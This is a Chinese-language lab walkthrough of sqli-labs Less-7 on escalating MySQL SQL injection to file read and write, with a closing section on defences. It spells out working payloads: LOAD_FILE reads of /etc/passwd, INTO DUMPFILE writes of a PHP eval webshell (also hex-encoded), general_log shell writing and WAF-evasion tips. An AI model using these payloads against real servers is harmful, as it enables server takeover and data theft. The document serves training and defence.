1. 项目概述:从SQL注入到文件读写
在安全测试和CTF比赛中,SQL注入漏洞的利用通常被划分为几个层次:信息泄露、数据篡改、权限提升,而文件读写操作无疑是其中最具威力的高级利用方式之一。它意味着攻击者不再局限于数据库的“围墙”之内,而是能够将触角伸向服务器的文件系统,进行读取敏感文件(如配置文件、源代码)或写入Webshell等操作,从而完全控制服务器。今天,我们就以经典的sqli-labs靶场第7关(Less-7)为例,深入拆解如何利用MySQL数据库的LOAD_FILE()和INTO OUTFILE/INTO DUMPFILE函数,将一次普通的SQL注入点,转化为一个能够读写服务器文件的“后门”。
Less-7这一关被设计为“Dump into Outfile”,其核心就是考察利用INTO OUTFILE进行文件写入的能力。很多初学者在这一关会卡住,因为这一关的注入点通常被设计得比较“刁钻”,比如使用了特殊的字符处理、闭合方式,或者对错误信息进行了屏蔽。但万变不离其宗,只要我们理解了MySQL文件读写的核心原理和前置条件,再结合靶场的具体环境进行调试,就能找到突破口。这个过程不仅能帮你通关一个靶场,更能让你深刻理解在真实渗透测试中,遇到一个疑似存在文件读写漏洞的注入点时,应该如何系统地思考、测试和利用。
2. 核心原理与前置条件深度解析
在动手之前,我们必须把原理吃透。文件读写不是“万能钥匙”,数据库和服务器环境必须满足一系列严格的条件,否则再精巧的注入语句也是徒劳。
2.1 MySQL文件读写函数的工作原理
MySQL提供了两个关键函数用于文件操作:
LOAD_FILE(file_name):读取服务器主机上指定路径的文件内容,并以字符串形式返回。这个函数是“读”操作的核心。INTO OUTFILE/INTO DUMPFILE:这是SELECT ... INTO语句的选项,用于将查询结果写入服务器主机上的一个文件。这是“写”操作的核心。INTO OUTFILE:以文本格式写入,会对某些字符进行转义(如换行符被转义为\n,制表符为\t)。INTO DUMPFILE:以二进制格式原样写入,不做任何转义。写入Webshell时,必须使用DUMPFILE,否则PHP代码中的$等特殊字符可能被转义导致脚本无法执行。
2.2 必须满足的“硬性条件”
这些条件缺一不可,是判断一个SQL注入点能否进行文件读写的“体检表”:
- 数据库用户具备
FILE权限:这是最根本的权限。FILE权限允许用户读取服务器上数据库可读的任何文件,以及向数据库有写权限的目录写入文件。可以通过注入查询SELECT user, file_priv FROM mysql.user WHERE user = CURRENT_USER();来间接判断。在靶场中,用户通常被授予了所有权限。 - 知晓网站的绝对路径:这是最关键的一步。你无法向一个未知的地址投递包裹。路径信息可能通过报错信息、平台特性(如PHP的
phpinfo())、漏洞扫描器或目录爆破等方式获得。在Less-7中,路径通常是已知或可推测的(如/var/www/html/)。 secure_file_priv系统变量的值允许:这是MySQL 5.5之后引入的安全限制。它定义了哪些目录可以用于LOAD DATA INFILE和SELECT ... INTO OUTFILE操作。- 使用查询
SHOW VARIABLES LIKE ‘secure_file_priv’;查看。 - 如果值为
NULL,则禁止在任何目录进行文件导入导出。这是最严格的情况。 - 如果值为一个目录路径(如
/var/lib/mysql-files/),则只能在该目录下进行文件操作。 - 如果值为空字符串
‘’,则表示不限制目录(但仍受操作系统权限限制)。这是最理想的情况,也是很多靶场和老旧环境的默认配置。
- 使用查询
- 对目标目录有操作系统写权限:即使数据库有
FILE权限且secure_file_priv开放,MySQL服务进程(通常是mysql或mysqld用户)也必须在操作系统层面对目标目录拥有写权限。通常Web根目录(如/var/www/html)对Web服务器用户(如www-data)可写,但不一定对MySQL用户可写。这是实战中常见的绊脚石。
注意:在真实渗透测试中,满足所有这些条件的环境并不多见,尤其是生产环境的MySQL通常会配置
secure_file_priv为限制目录或NULL。因此,文件读写漏洞的利用价值极高,一旦发现,往往意味着能直接获取服务器权限。
2.3 Less-7靶场环境特征分析
根据sqli-labs的设计,Less-7通常具有以下特征:
- 注入类型:一般为字符型注入,但闭合方式可能比较特殊,例如使用
‘))、‘))等进行闭合。 - 错误回显:页面可能屏蔽了数据库报错信息,变为“盲注”环境,增加了判断闭合方式的难度。
- 核心目标:利用
INTO OUTFILE/DUMPFILE在Web目录写入一个一句话木马(Webshell),然后通过该木马获取服务器控制权。 - 已知条件:我们通常假设已知Web绝对路径(例如
/var/www/html/sqli-labs/),且数据库用户拥有FILE权限,secure_file_priv为空。
3. 详细利用步骤拆解与实操
下面,我们一步步拆解从探测到最终获取Shell的完整过程。我会结合常见的坑点和技巧进行说明。
3.1 第一步:确认注入点与闭合方式
即使知道这一关考察文件写入,我们也要先确认注入点的存在和准确的闭合方式,这是所有SQL注入的基础。
- 基础探测:访问Less-7的URL,例如
http://your-ip/sqli-labs/Less-7/?id=1。提交一个正常参数,观察页面反应。 - 判断闭合:这是最关键的一步。由于错误信息可能被屏蔽,我们需要使用“布尔盲注”的思路来判断。
- 尝试
?id=1‘—— 如果页面显示异常(与?id=1不同),则可能存在注入,且使用了单引号闭合。 - 尝试
?id=1‘ --+—— 如果页面恢复正常,则证实为单引号闭合,且注释符生效。 - 在Less-7中,常见的闭合方式是
‘))。我们可以系统性地测试:?id=1‘-> 异常?id=1‘)-> 可能依然异常?id=1‘))-> 如果页面恢复正常,则闭合符为‘))- 验证:
?id=1‘)) --+页面应正常。
- 尝试
- 使用报错确认(如果可能):如果页面有错误回显,可以尝试经典的报错注入payload来确认闭合和数据库类型:
?id=1‘ and updatexml(1, concat(0x7e, user()), 1) --+。但在Less-7中,这一步可能无法直接看到报错信息。
实操心得:对于盲注环境,我习惯准备一个“闭合符测试字典”,按顺序尝试:‘,“,‘),“),‘)),“)),‘],“]等。并用--+(或#)进行注释,观察页面“正常”与“异常”状态的切换。--+中的+号在URL中代表空格,确保注释符生效。
3.2 第二步:验证文件读写权限
在构造复杂的写入Payload前,先进行“健康检查”。
检查
FILE权限与路径:虽然靶场通常有,但养成检查习惯很重要。?id=1‘)) and (select count(*) from mysql.user where user() like ‘root%‘ and file_priv=‘Y‘)>0 --+如果页面在正常与异常间切换,可以判断当前用户是否有FILE权限。更直接的方法是尝试读取一个已知存在的文件:
?id=1‘)) union select 1, load_file(‘/etc/passwd‘), 3 --+如果页面某处显示了
/etc/passwd文件的内容(可能是源码中),则证明读权限存在。注意,由于闭合方式,实际的Payload可能需要调整为?id=1‘)) union select 1,load_file(‘/etc/passwd‘),3 --+。检查
secure_file_priv:通过读取MySQL配置文件或利用时间盲注查询变量。?id=1‘)) and if((select variable_value from information_schema.global_variables where variable_name=‘secure_file_priv‘)=‘‘, sleep(2), 1) --+如果页面响应延迟2秒,说明
secure_file_priv值为空字符串,允许任意目录写入。也可以尝试直接写入一个测试文件到/tmp目录(通常全局可写)来验证。
3.3 第三步:构造文件写入Payload
确认权限后,开始构造写入Webshell的语句。核心是利用UNION SELECT ... INTO OUTFILE/DUMPFILE。
- 确定Web绝对路径:这是最大的难点。在靶场中,路径可能是预设的,如
/var/www/html/sqli-labs/。在实战中,可能需要通过报错、扫描、phpinfo页面、加载已知图片等方式获取。假设我们已知路径为:/var/www/html/sqli-labs/。 - 构造一句话木马内容:最简单的PHP一句话木马为:
<?php @eval($_POST[‘cmd‘]);?>。这里cmd是连接时使用的密码。 - 构建完整的注入Payload:
- 由于是
UNION注入,需要前后查询的列数一致。我们先确定列数。通过order by探测,假设得出列数为3。 - 写入Payload:
?id=-1‘)) union select 1, ‘<?php @eval($_POST[“cmd“]);?>‘, 3 into outfile ‘/var/www/html/sqli-labs/shell.php‘ --+
id=-1:确保前一个SELECT不返回结果,使得页面显示我们UNION查询的结果(即写入操作本身不直接显示内容,但执行了)。- 使用
INTO DUMPFILE替代INTO OUTFILE:这是写入Webshell时极其重要的一点。OUTFILE会在文本中转义特殊字符,例如我们的PHP代码中的$符号可能被转义,导致写入的shell无法执行。DUMPFILE是二进制写入,原封不动。?id=-1‘)) union select 1, ‘<?php @eval($_POST[“cmd“]);?>‘, 3 into dumpfile ‘/var/www/html/sqli-labs/shell.php‘ --+ - 文件路径中的目录必须存在:MySQL不会自动创建目录。确保
/var/www/html/sqli-labs/这个目录是存在的。 - 文件不能已存在:
INTO OUTFILE/DUMPFILE不能覆盖已存在的文件。如果之前失败过,需要换一个文件名,如shell2.php。
- 由于是
3.4 第四步:执行与验证
- 提交Payload:将构造好的URL进行URL编码(特别是空格和引号),或在浏览器中直接输入。如果页面没有报错,正常返回(可能是一片空白或原始页面),则可能执行成功。
- 验证文件是否写入:直接访问你试图写入的文件,例如
http://your-ip/sqli-labs/shell.php。- 如果页面空白(没有错误),则说明文件存在且PHP语法基本正确。
- 如果返回“404 Not Found”,说明写入失败,路径错误或权限不足。
- 如果返回PHP语法错误,说明写入的内容被破坏,很可能是因为用了
OUTFILE而不是DUMPFILE。
- 使用Webshell连接工具测试:使用中国蚁剑(AntSword)、冰蝎(Behinder)或哥斯拉(Godzilla)等Webshell管理工具连接。
- 连接地址:
http://your-ip/sqli-labs/shell.php - 密码:
cmd(即我们写在POST中的key) - 如果连接成功,即可在工具中看到服务器文件系统、执行命令等,标志着利用完全成功。
- 连接地址:
4. 常见问题、错误排查与高级技巧
在实际操作中,你几乎一定会遇到各种错误。下面是我踩过坑后总结的排查清单。
4.1 错误排查速查表
| 现象 | 可能原因 | 排查步骤 |
|---|---|---|
| 页面返回数据库错误 | SQL语法错误,闭合方式不对,列数不对。 | 1. 回退到order by重新确认列数。2. 仔细检查闭合符号,使用 ‘ and ‘1‘=‘1和‘ and ‘1‘=‘2验证布尔逻辑。3. 将复杂的 SELECT语句先在MySQL客户端中测试。 |
| 页面正常但文件未创建 | 路径错误、目录无写权限、secure_file_priv限制、文件名已存在。 | 1. 尝试写入到/tmp/test.txt目录验证基本权限。2. 通过 load_file(‘/proc/self/cwd/‘)或报错注入获取当前工作目录。3. 检查 secure_file_priv值。4. 换一个全新的文件名。 |
| 文件已创建但无法访问(404) | 文件未写入Web目录,或目录无http访问权限。 | 1. 确认写入的绝对路径是否在Web服务器(如Apache/Nginx)的根目录或虚拟主机目录下。 2. 检查文件权限 ls -la /path/to/file,确保Web服务器用户可读。 |
| 文件可访问但PHP不执行 | 文件后缀不是.php,或Web服务器未配置PHP解析。 | 1. 确保文件名为.php结尾。2. 在文件中写入 <?php phpinfo();?>测试,如果显示源码而非PHP信息,则是解析问题。 |
| 连接Webshell失败/被拦截 | 防火墙、安全软件、Web应用防火墙(WAF)拦截。 | 1. 尝试使用编码、加密的Webshell(如冰蝎的默认shell)。 2. 尝试写入到其他非标准端口或路径。 3. 检查Web服务器错误日志。 |
使用OUTFILE写入后shell无效 | 特殊字符被转义。 | 务必使用INTO DUMPFILE进行写入。 |
4.2 高级利用技巧
小字段写入大Webshell:如果注入点查询返回的列字段长度有限(例如一个
VARCHAR(20)的字段),无法容纳完整的Webshell代码。这时可以:- 将Webshell代码分段写入多个字段:
union select ‘<?php ‘, ‘@eval($_POST[‘, ‘“c“]);?>‘ into dumpfile ... - 或者使用
hex编码绕过:union select 0x3C3F70687020406576616C28245F504F53545B22636D64225D293B3F3E into dumpfile...,其中十六进制内容就是<?php @eval($_POST[“cmd“]);?>的hex值。MySQL的UNION SELECT会将其自动解码后写入。
- 将Webshell代码分段写入多个字段:
利用日志文件写Shell:当
secure_file_priv限制很死,无法直接写入Web目录时,可以尝试修改MySQL的日志路径到Web目录,然后通过执行特定SQL语句,将Webshell代码写入日志文件。SET global general_log_file=‘/var/www/html/shell.php‘; SET global general_log=on; SELECT ‘<?php @eval($_POST[cmd]);?>‘; SET global general_log=off;这需要当前数据库用户拥有
SUPER权限,条件更为苛刻。DUMPFILE与OUTFILE的细节区别:DUMPFILE每次只能写入一行数据。如果你UNION SELECT了多行数据,DUMPFILE也只会写入第一行。而OUTFILE可以写入多行。因此,在写入单行Webshell时用DUMPFILE,在导出大量数据(如整张表)时用OUTFILE。
5. 防御思路与总结
通过以上剖析,我们可以看到,一个简单的SQL注入点如何演变成严重的服务器入侵事件。作为防御方,必须层层设防:
- 根本解决:使用参数化查询(Prepared Statements)或ORM框架,杜绝SQL注入的产生。
- 最小权限原则:为Web应用数据库账户分配绝对最小的权限,通常只需要
SELECT、INSERT、UPDATE、DELETE,永远不要授予FILE、GRANT OPTION、SUPER等高级权限。 - MySQL安全配置:
- 将
secure_file_priv设置为NULL或一个特定的、非Web可访问的目录(如/var/lib/mysql-files/)。 - 以非root用户运行MySQL服务。
- 将
- 操作系统层面:确保Web根目录对MySQL进程用户不可写。
- WAF与监控:部署Web应用防火墙,过滤
LOAD_FILE、INTO OUTFILE、DUMPFILE等敏感关键字。监控服务器上异常文件的创建,特别是.php文件。
回过头看Less-7的挑战,它像是一个精心设计的沙箱,让我们在安全的环境中验证了从注入到文件读写再到获取Shell的完整杀伤链。理解每一步背后的“为什么”——为什么用DUMPFILE而不是OUTFILE,为什么需要绝对路径,为什么权限检查如此重要——远比单纯记住一个Payload更有价值。在真实的网络攻防中,环境千变万化,但原理是相通的。掌握了原理,你才能灵活地测试、调整和利用,而不是对着一个不工作的Payload束手无策。最后记住,所有这些技术请仅用于授权的安全测试和法律允许的学习环境,未经授权的攻击是非法的。